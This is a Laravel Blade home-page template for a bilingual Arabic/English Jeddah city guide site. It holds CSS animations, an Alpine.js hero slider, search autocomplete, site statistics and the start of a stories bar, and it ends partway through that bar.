@extends('web.layout')

@php $locale = app()->getLocale(); @endphp

@section('meta_title', $locale === 'ar' ? 'ليالي جدة - دليلك الشامل لمدينة جدة' : 'Jeddah Night - Your Complete Jeddah City Guide')
@section('meta_description', $locale === 'ar' ? 'اكتشف أفضل المطاعم والمقاهي والأماكن الترفيهية والفعاليات في مدينة جدة' : 'Discover the best restaurants, cafes, entertainment venues, and events in Jeddah city')

@section('styles')
<style>
    /* Hero background slideshow */
    .hero-bg-slide {
        position: absolute;
        inset: 0;
        opacity: 0;
        transition: opacity 1.5s ease-in-out;
    }
    .hero-bg-slide.active {
        opacity: 1;
    }
    .hero-bg-slide img {
        width: 100%;
        height: 100%;
        object-fit: cover;
    }

    /* Horizontal scroll snap */
    .snap-scroll {
        scroll-snap-type: x mandatory;
        -webkit-overflow-scrolling: touch;
    }
    .snap-scroll > * {
        scroll-snap-align: start;
    }

    /* Animated gradient border */
    .gradient-border {
        background: linear-gradient(135deg, #9333EA, #A855F7, #D4A642, #9333EA);
        background-size: 300% 300%;
        animation: gradientShift 4s ease infinite;
    }
    @keyframes gradientShift {
        0%, 100% { background-position: 0% 50%; }
        50% { background-position: 100% 50%; }
    }

    /* Floating animation */
    @keyframes float {
        0%, 100% { transform: translateY(0); }
        50% { transform: translateY(-10px); }
    }
    .animate-float { animation: float 3s ease-in-out infinite; }

    /* Pulse glow */
    .glow-pulse {
        animation: glowPulse 2s ease-in-out infinite;
    }
    @keyframes glowPulse {
        0%, 100% { box-shadow: 0 0 20px rgba(147, 51, 234, 0.3); }
        50% { box-shadow: 0 0 40px rgba(147, 51, 234, 0.6); }
    }

    /* Category card image overlay */
    .category-overlay {
        background: linear-gradient(180deg, transparent 0%, rgba(10, 10, 15, 0.85) 100%);
    }

    /* Number counter animation */
    .stat-number {
        font-variant-numeric: tabular-nums;
    }

    /* ═══════════════════════════════════════════ */
    /*  CARD ANIMATIONS — Scroll Reveal            */
    /* ═══════════════════════════════════════════ */

    /* Fade-up reveal for cards */
    .card-reveal {
        opacity: 0;
        transform: translateY(40px) scale(0.97);
        transition: opacity 0.7s cubic-bezier(0.16, 1, 0.3, 1),
                    transform 0.7s cubic-bezier(0.16, 1, 0.3, 1);
    }
    .card-reveal.revealed {
        opacity: 1;
        transform: translateY(0) scale(1);
    }

    /* Stagger delays */
    .card-delay-1 { transition-delay: 0.05s; }
    .card-delay-2 { transition-delay: 0.10s; }
    .card-delay-3 { transition-delay: 0.15s; }
    .card-delay-4 { transition-delay: 0.20s; }
    .card-delay-5 { transition-delay: 0.25s; }
    .card-delay-6 { transition-delay: 0.30s; }
    .card-delay-7 { transition-delay: 0.35s; }
    .card-delay-8 { transition-delay: 0.40s; }

    /* Section header reveal */
    .section-reveal {
        opacity: 0;
        transform: translateY(25px);
        transition: opacity 0.6s cubic-bezier(0.16, 1, 0.3, 1),
                    transform 0.6s cubic-bezier(0.16, 1, 0.3, 1);
    }
    .section-reveal.revealed {
        opacity: 1;
        transform: translateY(0);
    }

    /* Card lift on hover */
    .card-lift {
        transition: transform 0.4s cubic-bezier(0.16, 1, 0.3, 1),
                    box-shadow 0.4s cubic-bezier(0.16, 1, 0.3, 1);
    }
    .card-lift:hover {
        transform: translateY(-8px);
        box-shadow: 0 20px 40px rgba(0,0,0,0.3), 0 0 30px rgba(147, 51, 234, 0.08);
    }

    /* Card tilt effect (subtle 3D) */
    .card-tilt {
        perspective: 800px;
        transform-style: preserve-3d;
    }

    /* Image shimmer loading */
    .img-shimmer {
        background: linear-gradient(110deg, #1a1a24 8%, #252530 18%, #1a1a24 33%);
        background-size: 200% 100%;
        animation: imgShimmer 1.5s linear infinite;
    }
    @keyframes imgShimmer {
        to { background-position: -200% 0; }
    }

    /* Badge pop-in */
    .badge-pop {
        animation: badgePop 0.5s cubic-bezier(0.34, 1.56, 0.64, 1) both;
    }
    @keyframes badgePop {
        from { opacity: 0; transform: scale(0.6); }
        to   { opacity: 1; transform: scale(1); }
    }

    /* Horizontal scroll cards entrance */
    .scroll-card-reveal {
        opacity: 0;
        transform: translateX(30px);
        transition: opacity 0.6s cubic-bezier(0.16, 1, 0.3, 1),
                    transform 0.6s cubic-bezier(0.16, 1, 0.3, 1);
    }
    [dir="rtl"] .scroll-card-reveal {
        transform: translateX(-30px);
    }
    .scroll-card-reveal.revealed {
        opacity: 1;
        transform: translateX(0);
    }

    /* ═══════════════════════════════════════════ */
    /*  ENHANCED HERO SLIDER                       */
    /* ═══════════════════════════════════════════ */

    /* Slide image with Ken Burns zoom */
    .hero-slider-img {
        animation: kenBurns 8s ease-in-out forwards;
    }
    @keyframes kenBurns {
        0%   { transform: scale(1.0) translate(0, 0); }
        100% { transform: scale(1.12) translate(-1%, -1%); }
    }

    /* Cinematic gradient overlays */
    .hero-overlay-top {
        background: linear-gradient(180deg, rgba(10,10,15,0.6) 0%, transparent 40%);
    }
    .hero-overlay-bottom {
        background: linear-gradient(0deg, #0A0A0F 0%, rgba(10,10,15,0.85) 30%, transparent 70%);
    }
    .hero-overlay-side {
        background: linear-gradient(90deg, rgba(10,10,15,0.5) 0%, transparent 50%);
    }
    [dir="rtl"] .hero-overlay-side {
        background: linear-gradient(-90deg, rgba(10,10,15,0.5) 0%, transparent 50%);
    }

    /* Slide text entrance */
    .slide-title-enter {
        animation: slideTitleIn 0.8s cubic-bezier(0.16, 1, 0.3, 1) 0.2s both;
    }
    .slide-subtitle-enter {
        animation: slideSubtitleIn 0.8s cubic-bezier(0.16, 1, 0.3, 1) 0.4s both;
    }
    .slide-cta-enter {
        animation: slideCTAIn 0.7s cubic-bezier(0.16, 1, 0.3, 1) 0.6s both;
    }
    .slide-badge-enter {
        animation: slideBadgeIn 0.6s cubic-bezier(0.16, 1, 0.3, 1) 0.1s both;
    }

    @keyframes slideTitleIn {
        from { opacity: 0; transform: translateY(40px) skewY(2deg); filter: blur(8px); }
        to   { opacity: 1; transform: translateY(0) skewY(0); filter: blur(0); }
    }
    @keyframes slideSubtitleIn {
        from { opacity: 0; transform: translateY(30px); filter: blur(4px); }
        to   { opacity: 1; transform: translateY(0); filter: blur(0); }
    }
    @keyframes slideCTAIn {
        from { opacity: 0; transform: translateY(20px) scale(0.9); }
        to   { opacity: 1; transform: translateY(0) scale(1); }
    }
    @keyframes slideBadgeIn {
        from { opacity: 0; transform: translateX(-20px) scale(0.8); }
        to   { opacity: 1; transform: translateX(0) scale(1); }
    }
    [dir="rtl"] @keyframes slideBadgeIn {
        from { opacity: 0; transform: translateX(20px) scale(0.8); }
        to   { opacity: 1; transform: translateX(0) scale(1); }
    }

    /* Progress bar for autoplay */
    .slider-progress-bar {
        position: absolute;
        bottom: 0;
        left: 0;
        height: 3px;
        background: linear-gradient(90deg, #9333EA, #A855F7, #D4A642);
        animation: progressFill 6s linear forwards;
        z-index: 30;
        border-radius: 0 2px 2px 0;
    }
    @keyframes progressFill {
        from { width: 0%; }
        to   { width: 100%; }
    }

    /* Dot indicators */
    .slider-dot {
        width: 8px;
        height: 8px;
        border-radius: 50%;
        background: rgba(255,255,255,0.3);
        backdrop-filter: blur(4px);
        transition: all 0.5s cubic-bezier(0.16, 1, 0.3, 1);
        cursor: pointer;
        position: relative;
    }
    .slider-dot.active {
        width: 32px;
        border-radius: 4px;
        background: linear-gradient(90deg, #9333EA, #A855F7);
        box-shadow: 0 0 16px rgba(147, 51, 234, 0.5);
    }
    .slider-dot::after {
        content: '';
        position: absolute;
        inset: -4px;
        border-radius: inherit;
    }

    /* Nav arrows */
    .slider-arrow {
        width: 48px;
        height: 48px;
        border-radius: 50%;
        background: rgba(255,255,255,0.08);
        backdrop-filter: blur(12px);
        border: 1px solid rgba(255,255,255,0.12);
        display: flex;
        align-items: center;
        justify-content: center;
        cursor: pointer;
        transition: all 0.3s cubic-bezier(0.16, 1, 0.3, 1);
        color: rgba(255,255,255,0.7);
    }
    .slider-arrow:hover {
        background: rgba(147, 51, 234, 0.3);
        border-color: rgba(147, 51, 234, 0.5);
        color: #fff;
        transform: scale(1.1);
        box-shadow: 0 0 24px rgba(147, 51, 234, 0.3);
    }

    /* Floating particles */
    .hero-particle {
        position: absolute;
        border-radius: 50%;
        pointer-events: none;
        opacity: 0;
    }
    .hero-particle-1 {
        width: 4px; height: 4px;
        background: rgba(147, 51, 234, 0.4);
        top: 20%; left: 15%;
        animation: particleFloat1 6s ease-in-out infinite;
    }
    .hero-particle-2 {
        width: 6px; height: 6px;
        background: rgba(168, 85, 247, 0.3);
        top: 40%; right: 20%;
        animation: particleFloat2 8s ease-in-out infinite 1s;
    }
    .hero-particle-3 {
        width: 3px; height: 3px;
        background: rgba(212, 166, 66, 0.4);
        top: 60%; left: 25%;
        animation: particleFloat3 7s ease-in-out infinite 2s;
    }
    .hero-particle-4 {
        width: 5px; height: 5px;
        background: rgba(147, 51, 234, 0.3);
        top: 30%; right: 30%;
        animation: particleFloat1 9s ease-in-out infinite 3s;
    }
    .hero-particle-5 {
        width: 3px; height: 3px;
        background: rgba(212, 166, 66, 0.5);
        top: 70%; left: 60%;
        animation: particleFloat2 5s ease-in-out infinite 0.5s;
    }

    @keyframes particleFloat1 {
        0%, 100% { opacity: 0; transform: translate(0, 0) scale(1); }
        25% { opacity: 0.8; }
        50% { opacity: 0.6; transform: translate(30px, -40px) scale(1.5); }
        75% { opacity: 0.4; }
    }
    @keyframes particleFloat2 {
        0%, 100% { opacity: 0; transform: translate(0, 0) scale(1); }
        30% { opacity: 0.7; }
        50% { opacity: 0.5; transform: translate(-25px, -50px) scale(1.3); }
        80% { opacity: 0.3; }
    }
    @keyframes particleFloat3 {
        0%, 100% { opacity: 0; transform: translate(0, 0) scale(1); }
        20% { opacity: 0.6; }
        50% { opacity: 0.4; transform: translate(20px, -30px) scale(1.4); }
        70% { opacity: 0.3; }
    }

    /* Slide counter */
    .slide-counter {
        font-variant-numeric: tabular-nums;
        letter-spacing: 0.05em;
    }

    /* CTA button shimmer */
    .cta-shimmer {
        position: relative;
        overflow: hidden;
    }
    .cta-shimmer::after {
        content: '';
        position: absolute;
        top: -50%;
        left: -60%;
        width: 40%;
        height: 200%;
        background: linear-gradient(90deg, transparent, rgba(255,255,255,0.15), transparent);
        transform: skewX(-25deg);
        animation: shimmerSlide 3s ease-in-out infinite;
    }
    @keyframes shimmerSlide {
        0%, 100% { left: -60%; }
        50% { left: 120%; }
    }
</style>
@endsection

@section('content')

    {{-- ============================================================ --}}
    {{-- HERO SECTION                                                  --}}
    {{-- ============================================================ --}}
    @if($sliders->count())
        {{-- ★ Enhanced Cinematic Hero Slider ★ --}}
        <section
            x-data="{
                current: 0,
                previous: -1,
                total: {{ $sliders->count() }},
                autoplay: null,
                paused: false,
                progressKey: 0,
                touchStartX: 0,
                init() {
                    this.startAutoplay();
                },
                startAutoplay() {
                    clearInterval(this.autoplay);
                    this.progressKey++;
                    this.autoplay = setInterval(() => { if (!this.paused) this.next() }, 6000);
                },
                next() {
                    this.previous = this.current;
                    this.current = (this.current + 1) % this.total;
                    this.progressKey++;
                },
                prev() {
                    this.previous = this.current;
                    this.current = (this.current - 1 + this.total) % this.total;
                    this.progressKey++;
                },
                goTo(index) {
                    if (index === this.current) return;
                    this.previous = this.current;
                    this.current = index;
                    this.startAutoplay();
                },
                handleTouchStart(e) { this.touchStartX = e.touches[0].clientX; },
                handleTouchEnd(e) {
                    const diff = this.touchStartX - e.changedTouches[0].clientX;
                    if (Math.abs(diff) > 50) {
                        const isRtl = document.dir === 'rtl';
                        if (isRtl ? diff < -50 : diff > 50) this.next();
                        else this.prev();
                        this.startAutoplay();
                    }
                }
            }"
            @mouseenter="paused = true"
            @mouseleave="paused = false"
            @touchstart="handleTouchStart($event)"
            @touchend="handleTouchEnd($event)"
            class="relative w-full h-[65vh] sm:h-[75vh] lg:h-[85vh] overflow-hidden bg-[#0A0A0F]"
        >
            {{-- Floating particles --}}
            <div class="hero-particle hero-particle-1"></div>
            <div class="hero-particle hero-particle-2"></div>
            <div class="hero-particle hero-particle-3"></div>
            <div class="hero-particle hero-particle-4"></div>
            <div class="hero-particle hero-particle-5"></div>

            {{-- Slides --}}
            @foreach($sliders as $index => $slider)
                <div
                    x-show="current === {{ $index }}"
                    x-transition:enter="transition-all ease-out duration-1000"
                    x-transition:enter-start="opacity-0"
                    x-transition:enter-end="opacity-100"
                    x-transition:leave="transition-all ease-in duration-700"
                    x-transition:leave-start="opacity-100"
                    x-transition:leave-end="opacity-0"
                    class="absolute inset-0"
                    style="z-index: 10;"
                >
                    {{-- Image with Ken Burns --}}
                    @if($slider->image)
                        <img
                            src="{{ asset('storage/' . $slider->image) }}"
                            alt="{{ $slider->getTranslation('title', $locale) }}"
                            class="w-full h-full object-cover hero-slider-img"
                            :key="'img-' + {{ $index }} + '-' + current"
                        >
                    @else
                        <div class="w-full h-full img-placeholder"></div>
                    @endif

                    {{-- Cinematic overlays --}}
                    <div class="absolute inset-0 hero-overlay-top"></div>
                    <div class="absolute inset-0 hero-overlay-bottom"></div>
                    <div class="absolute inset-0 hero-overlay-side"></div>

                    {{-- Subtle vignette --}}
                    <div class="absolute inset-0" style="box-shadow: inset 0 0 150px rgba(0,0,0,0.4);"></div>

                    {{-- Content --}}
                    <div class="absolute inset-0 flex items-end pb-28 sm:pb-32 lg:pb-36" style="z-index: 15;">
                        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 w-full">
                            <div class="max-w-2xl" x-show="current === {{ $index }}">

                                {{-- Link type badge --}}
                                @if($slider->link_type && $slider->link_type !== 'url' && $slider->link_type !== 'ad')
                                    <div class="slide-badge-enter mb-4">
                                        <span class="inline-flex items-center gap-1.5 px-3 py-1.5 rounded-full text-xs font-semibold
                                            bg-gradient-to-r from-purple-500/20 to-purple-600/20 text-purple-300
                                            border border-purple-500/20 backdrop-blur-sm">
                                            @if($slider->link_type === 'event')
                                                <svg class="w-3.5 h-3.5" fill="currentColor" viewBox="0 0 20 20"><path d="M6 2a1 1 0 00-1 1v1H4a2 2 0 00-2 2v10a2 2 0 002 2h12a2 2 0 002-2V6a2 2 0 00-2-2h-1V3a1 1 0 10-2 0v1H7V3a1 1 0 00-1-1z"/></svg>
                                                {{ $locale === 'ar' ? 'فعالية' : 'Event' }}
                                            @elseif($slider->link_type === 'place')
                                                <svg class="w-3.5 h-3.5" fill="currentColor" viewBox="0 0 20 20"><path fill-rule="evenodd" d="M5.05 4.05a7 7 0 119.9 9.9L10 18.9l-4.95-4.95a7 7 0 010-9.9zM10 11a2 2 0 100-4 2 2 0 000 4z" clip-rule="evenodd"/></svg>
                                                {{ $locale === 'ar' ? 'مكان' : 'Place' }}
                                            @elseif($slider->link_type === 'blog')
                                                <svg class="w-3.5 h-3.5" fill="currentColor" viewBox="0 0 20 20"><path fill-rule="evenodd" d="M4 4a2 2 0 012-2h4.586A2 2 0 0112 2.586L15.414 6A2 2 0 0116 7.414V16a2 2 0 01-2 2H6a2 2 0 01-2-2V4z" clip-rule="evenodd"/></svg>
                                                {{ $locale === 'ar' ? 'مقال' : 'Article' }}
                                            @elseif($slider->link_type === 'category')
                                                <svg class="w-3.5 h-3.5" fill="currentColor" viewBox="0 0 20 20"><path d="M7 3a1 1 0 000 2h6a1 1 0 100-2H7zM4 7a1 1 0 011-1h10a1 1 0 110 2H5a1 1 0 01-1-1zM2 11a2 2 0 012-2h12a2 2 0 012 2v4a2 2 0 01-2 2H4a2 2 0 01-2-2v-4z"/></svg>
                                                {{ $locale === 'ar' ? 'تصنيف' : 'Category' }}
                                            @endif
                                        </span>
                                    </div>
                                @endif

                                {{-- Title --}}
                                @if($slider->getTranslation('title', $locale))
                                    <h1 class="slide-title-enter text-3xl sm:text-4xl lg:text-6xl font-extrabold text-white leading-tight mb-4 drop-shadow-lg">
                                        {{ $slider->getTranslation('title', $locale) }}
                                    </h1>
                                @endif

                                {{-- Subtitle --}}
                                @if($slider->getTranslation('subtitle', $locale))
                                    <p class="slide-subtitle-enter text-base sm:text-lg lg:text-xl text-[#C0C0D0] leading-relaxed mb-8 max-w-xl drop-shadow-md">
                                        {{ $slider->getTranslation('subtitle', $locale) }}
                                    </p>
                                @endif

                                {{-- CTA Button --}}
                                @php
                                    $sliderUrl = null;
                                    if ($slider->link_type === 'url' && $slider->link_url) {
                                        $sliderUrl = $slider->link_url;
                                    } elseif ($slug = $slider->linkSlug()) {
                                        $sliderUrl = match($slider->link_type) {
                                            'place'    => url('/place/' . $slug),
                                            'event'    => url('/event/' . $slug),
                                            'blog'     => url('/blog/' . $slug),
                                            'category' => url('/category/' . $slug),
                                            default    => null,
                                        };
                                    }
                                @endphp
                                @if($sliderUrl)
                                    <div class="slide-cta-enter">
                                        <a href="{{ $sliderUrl }}"
                                           class="cta-shimmer inline-flex items-center gap-2 px-7 py-3.5 rounded-xl
                                                  bg-gradient-to-r from-purple-600 to-purple-500
                                                  hover:from-purple-500 hover:to-purple-400
                                                  text-white font-bold text-sm sm:text-base
                                                  shadow-lg shadow-purple-500/25
                                                  transition-all duration-300 hover:shadow-xl hover:shadow-purple-500/40
                                                  hover:-translate-y-0.5 active:translate-y-0">
                                            {{ $locale === 'ar' ? 'اكتشف المزيد' : 'Discover More' }}
                                            <svg class="w-4 h-4 {{ $locale === 'ar' ? 'rotate-180' : '' }}" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2.5" d="M13 7l5 5m0 0l-5 5m5-5H6"/>
                                            </svg>
                                        </a>
                                    </div>
                                @endif
                            </div>
                        </div>
                    </div>
                </div>
            @endforeach

            {{-- Progress bar --}}
            <div class="slider-progress-bar" :key="'prog-' + progressKey" style="z-index: 30;"></div>

            {{-- Navigation arrows (desktop only) --}}
            @if($sliders->count() > 1)
                <div class="hidden sm:flex absolute inset-y-0 {{ $locale === 'ar' ? 'right-4 lg:right-8' : 'left-4 lg:left-8' }} items-center" style="z-index: 25;">
                    <button @click="prev(); startAutoplay()" class="slider-arrow">
                        <svg class="w-5 h-5 {{ $locale === 'ar' ? '' : 'rotate-180' }}" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 5l7 7-7 7"/>
                        </svg>
                    </button>
                </div>
                <div class="hidden sm:flex absolute inset-y-0 {{ $locale === 'ar' ? 'left-4 lg:left-8' : 'right-4 lg:right-8' }} items-center" style="z-index: 25;">
                    <button @click="next(); startAutoplay()" class="slider-arrow">
                        <svg class="w-5 h-5 {{ $locale === 'ar' ? 'rotate-180' : '' }}" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 5l7 7-7 7"/>
                        </svg>
                    </button>
                </div>
            @endif

            {{-- Bottom bar: dots + counter --}}
            @if($sliders->count() > 1)
                <div class="absolute bottom-6 sm:bottom-8 left-0 right-0 flex items-center justify-center gap-6" style="z-index: 25;">
                    {{-- Dots --}}
                    <div class="flex items-center gap-2.5">
                        @foreach($sliders as $index => $slider)
                            <button
                                @click="goTo({{ $index }})"
                                class="slider-dot"
                                :class="current === {{ $index }} ? 'active' : ''"
                                aria-label="Go to slide {{ $index + 1 }}"
                            ></button>
                        @endforeach
                    </div>

                    {{-- Counter --}}
                    <div class="slide-counter text-xs text-white/40 font-medium tracking-widest">
                        <span class="text-white/80 text-sm" x-text="String(current + 1).padStart(2, '0')"></span>
                        <span class="mx-1">/</span>
                        <span x-text="String(total).padStart(2, '0')"></span>
                    </div>
                </div>
            @endif
        </section>
    @else
        {{-- Beautiful hero with background slideshow + search --}}
        <section
            x-data="{
                currentBg: 0,
                totalBg: {{ $heroImages->count() ?: 1 }},
                init() {
                    setInterval(() => {
                        this.currentBg = (this.currentBg + 1) % this.totalBg;
                    }, 4000);
                }
            }"
            class="relative z-10 w-full min-h-[75vh] sm:min-h-[80vh] lg:min-h-[85vh] bg-[#0A0A0F] flex items-center"
        >
            {{-- Background Slideshow (overflow-hidden to contain images) --}}
            <div class="absolute inset-0 overflow-hidden">
                @if($heroImages->count())
                    @foreach($heroImages as $i => $img)
                        <div
                            class="hero-bg-slide"
                            :class="currentBg === {{ $i }} ? 'active' : ''"
                        >
                            <img src="{{ asset('storage/' . $img) }}" alt="" class="w-full h-full object-cover">
                        </div>
                    @endforeach
                @endif

                {{-- Dark overlay --}}
                <div class="absolute inset-0 bg-gradient-to-b from-[#0A0A0F]/80 via-[#0A0A0F]/60 to-[#0A0A0F]/90"></div>
            </div>

            {{-- Decorative elements --}}
            <div class="absolute inset-0 overflow-hidden pointer-events-none">
                <div class="absolute top-20 {{ $locale === 'ar' ? 'left-10' : 'right-10' }} w-72 h-72 bg-[#9333EA]/20 rounded-full blur-[100px]"></div>
                <div class="absolute bottom-20 {{ $locale === 'ar' ? 'right-20' : 'left-20' }} w-96 h-96 bg-[#9333EA]/10 rounded-full blur-[120px]"></div>
                <div class="absolute top-1/2 left-1/2 -translate-x-1/2 -translate-y-1/2 w-[600px] h-[600px] bg-[#C084FC]/5 rounded-full blur-[150px]"></div>
            </div>

            {{-- Hero Content --}}
            <div class="relative z-10 w-full max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-20">
                <div class="text-center max-w-3xl mx-auto">
                    {{-- Badge --}}
                    <div class="inline-flex items-center gap-2 bg-white/10 backdrop-blur-md text-[#A0A0B0] text-xs font-semibold px-4 py-2 rounded-full mb-8 border border-white/10">
                        <span class="w-2 h-2 bg-[#10B981] rounded-full animate-pulse"></span>
                        {{ $locale === 'ar' ? 'اكتشف أجمل الأماكن في جدة' : 'Discover the best places in Jeddah' }}
                    </div>

                    {{-- Title --}}
                    <h1 class="text-4xl sm:text-5xl lg:text-6xl xl:text-7xl font-extrabold text-white leading-tight mb-6">
                        @if($locale === 'ar')
                            <span class="block">دليلك الشامل</span>
                            <span class="block mt-2">
                                <span class="text-transparent bg-clip-text bg-gradient-to-r from-[#C084FC] via-[#A855F7] to-[#D4A642]">لليالي جدة</span>
                            </span>
                        @else
                            <span class="block">Your Complete Guide</span>
                            <span class="block mt-2">
                                <span class="text-transparent bg-clip-text bg-gradient-to-r from-[#C084FC] via-[#A855F7] to-[#D4A642]">to Jeddah Nights</span>
                            </span>
                        @endif
                    </h1>

                    {{-- Subtitle --}}
                    <p class="text-[#A0A0B0]/80 text-base sm:text-lg lg:text-xl leading-relaxed mb-10 max-w-2xl mx-auto">
                        {{ $locale === 'ar'
                            ? 'اكتشف أفضل المطاعم والمقاهي والفنادق والأماكن الترفيهية في مدينة جدة. دليلك الأمثل لأفضل تجربة!'
                            : 'Explore the finest restaurants, cafes, hotels, and entertainment spots in Jeddah. Your ultimate city guide!' }}
                    </p>

                    {{-- Search + Stats wrapper with Autocomplete --}}
                    <div x-data="inlineSearchAutocomplete('{{ route('web.search.autocomplete') }}')">
                    <div class="max-w-xl mx-auto mb-10 relative z-[30]">
                        <form action="{{ route('web.search') }}" method="GET" class="relative group">
                            <div class="absolute -inset-1 bg-gradient-to-r from-[#9333EA] via-[#C084FC] to-[#D4A642] rounded-2xl opacity-30 group-hover:opacity-50 blur transition-opacity duration-300"></div>
                            <div class="relative">
                                <div class="flex items-center bg-white/10 backdrop-blur-xl border border-white/20 overflow-hidden transition-all"
                                     :class="showDropdown && results.length ? 'rounded-t-2xl' : 'rounded-2xl'">
                                    <div class="flex items-center gap-3 px-5 flex-1">
                                        <i class="fas fa-search text-[#A0A0B0]"></i>
                                        <input
                                            type="text"
                                            name="q"
                                            x-model="query"
                                            @input.debounce.300ms="fetchSuggestions()"
                                            @keydown.arrow-down.prevent="moveDown()"
                                            @keydown.arrow-up.prevent="moveUp()"
                                            @keydown.enter="selectOrSubmit($event)"
                                            @focus="showDropdown = query.length >= 2 && results.length > 0"
                                            @click.away="showDropdown = false"
                                            placeholder="{{ $locale === 'ar' ? 'ابحث عن مطاعم، مقاهي، فنادق...' : 'Search restaurants, cafes, hotels...' }}"
                                            class="w-full py-4 bg-transparent text-white placeholder-[#A0A0B0]/70 focus:outline-none text-sm sm:text-base"
                                            autocomplete="off"
                                        >
                                    </div>
                                    <button type="submit" class="bg-[#9333EA] hover:bg-[#A855F7] text-white font-semibold px-6 py-4 transition-colors text-sm {{ $locale === 'ar' ? 'rounded-r-none rounded-l-xl' : 'rounded-l-none rounded-r-xl' }}">
                                        {{ $locale === 'ar' ? 'بحث' : 'Search' }}
                                    </button>
                                </div>

                                {{-- Autocomplete Dropdown --}}
                                <div
                                    x-show="showDropdown && results.length > 0"
                                    x-transition:enter="transition ease-out duration-150"
                                    x-transition:enter-start="opacity-0"
                                    x-transition:enter-end="opacity-100"
                                    class="absolute w-full bg-[#0A0A0F] border border-white/20 border-t-0 rounded-b-2xl overflow-hidden shadow-2xl max-h-[220px] overflow-y-auto z-[100]"
                                >
                                    <template x-for="(item, idx) in results" :key="idx">
                                        <a
                                            :href="item.url"
                                            class="flex items-center gap-3 px-4 py-2.5 hover:bg-white/10 transition-colors cursor-pointer"
                                            :class="activeIndex === idx ? 'bg-white/10' : ''"
                                            @mouseenter="activeIndex = idx"
                                        >
                                            <div class="w-9 h-9 rounded-lg overflow-hidden flex-shrink-0 bg-white/5 flex items-center justify-center">
                                                <template x-if="item.image">
                                                    <img :src="item.image" :alt="item.name" class="w-full h-full object-cover">
                                                </template>
                                                <template x-if="!item.image">
                                                    <i :class="item.icon || 'fas fa-map-marker-alt'" class="text-[#C084FC] text-xs"></i>
                                                </template>
                                            </div>
                                            <div class="flex-1 min-w-0">
                                                <div class="text-white text-sm font-medium truncate" x-text="item.name"></div>
                                                <div class="flex items-center gap-2 mt-0.5">
                                                    <span class="text-[#C084FC] text-[11px]" x-text="item.category || item.date || ''"></span>
                                                    <template x-if="item.rating">
                                                        <span class="text-[#D4A642] text-[11px] flex items-center gap-0.5">
                                                            <i class="fas fa-star text-[8px]"></i>
                                                            <span x-text="item.rating"></span>
                                                        </span>
                                                    </template>
                                                </div>
                                            </div>
                                            <i class="fas fa-chevron-{{ $locale === 'ar' ? 'left' : 'right' }} text-[#9333EA] text-[10px]"></i>
                                        </a>
                                    </template>
                                </div>
                            </div>
                        </form>
                    </div>{{-- /search-bar --}}

                    {{-- Quick Stats (hidden when dropdown open) --}}
                    <div class="flex items-center justify-center gap-6 sm:gap-10 relative transition-opacity duration-200" :class="showDropdown ? 'opacity-0 pointer-events-none' : 'opacity-100'">
                        <div class="text-center">
                            <div class="text-2xl sm:text-3xl font-extrabold text-white stat-number">{{ number_format($stats['places']) }}+</div>
                            <div class="text-[#A0A0B0]/70 text-xs sm:text-sm mt-1">{{ $locale === 'ar' ? 'مكان' : 'Places' }}</div>
                        </div>
                        <div class="w-px h-10 bg-white/20"></div>
                        <div class="text-center">
                            <div class="text-2xl sm:text-3xl font-extrabold text-white stat-number">{{ number_format($stats['categories']) }}</div>
                            <div class="text-[#A0A0B0]/70 text-xs sm:text-sm mt-1">{{ $locale === 'ar' ? 'تصنيف' : 'Categories' }}</div>
                        </div>
                        <div class="w-px h-10 bg-white/20"></div>
                        <div class="text-center">
                            <div class="text-2xl sm:text-3xl font-extrabold text-white stat-number">{{ number_format($stats['reviews']) }}+</div>
                            <div class="text-[#A0A0B0]/70 text-xs sm:text-sm mt-1">{{ $locale === 'ar' ? 'تقييم' : 'Reviews' }}</div>
                        </div>
                    </div>
                    </div>{{-- /x-data inlineSearchAutocomplete --}}
                </div>
            </div>

            {{-- Bottom wave --}}
            <div class="absolute bottom-0 left-0 right-0">
                <svg viewBox="0 0 1440 60" fill="none" xmlns="http://www.w3.org/2000/svg" class="w-full">
                    <path d="M0 60L1440 60L1440 30C1440 30 1320 0 1080 10C840 20 720 50 480 40C240 30 120 0 0 10L0 60Z" fill="#0A0A0F"/>
                </svg>
            </div>
        </section>
    @endif

    {{-- ============================================================ --}}
    {{-- STORIES BAR + FULLSCREEN VIEWER                               --}}
    {{-- ============================================================ --}}
    @if($stories->count())
    <section x-data="storyViewer({{ $stories->map(fn($s) => [
        'id'         => $s->id,
        'title'      => $s->getTranslation('title', $locale),
        'media_type' => $s->media_type,
        'media_url'  => asset('storage/' . $s->media_path),
        'thumbnail'  => $s->thumbnail ? asset('storage/' . $s->thumbnail) : ($s->media_type === 'image' ? asset('storage/' . $s->media_path) : null),
        'link_type'  => $s->link_type,
        'link_url'   => $s->link_type === 'url' ? $s->link_url : ($s->link_type === 'place' ? route('web.places.show', $s->linkSlug() ?? '') : ($s->link_type === 'event' ? route('web.events.show', $s->linkSlug() ?? '') : null)),
        'time_ago'   => $s->starts_at?->diffForHumans(),
    ])->values()->toJson() }})" @keydown.window="handleKeydown($event)" class="bg-[#121218] border-b border-[#1A1A24]">

        {{-- Stories Thumbnails Bar --}}
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-5">
            <div class="flex items-center gap-4 overflow-x-auto scroll-hidden pb-1">
                @foreach($stories as $index => $story)
                    <button @click="openStory({{ $index }})" class="flex flex-col items-center gap-1.5 flex-shrink-0 group">
                        <div class="w-16 h-16 sm:w-[72px] sm:h-[72px] rounded-full p-[3px] bg-gradient-to-br from-[#9333EA] via-[#C084FC] to-[#D4A642] group-hover:scale-105 transition-transform">
                            <div class="w-full h-full rounded-full overflow-hidden border-2 border-[#1A1A24] bg-[#1A1A24]">
                                @if($story->thumbnail)
                                    <img src="{{ asset('storage/' . $story->thumbnail) }}" alt="" class="w-full h-full object-cover" loading="lazy">
                                @elseif($story->media_path && $story->media_type === 'image')
                                    <img src="{{ asset('storage/' . $story->media_path) }}" alt="" class="w-full h-full object-cover" loading="lazy">
                                @else
                                    <div class="w-full h-full img-placeholder rounded-full flex items-center justify-center"><i class="fas fa-play text-white/50 text-xs"></i></div>
                                @endif
                            </div>
                        </div>
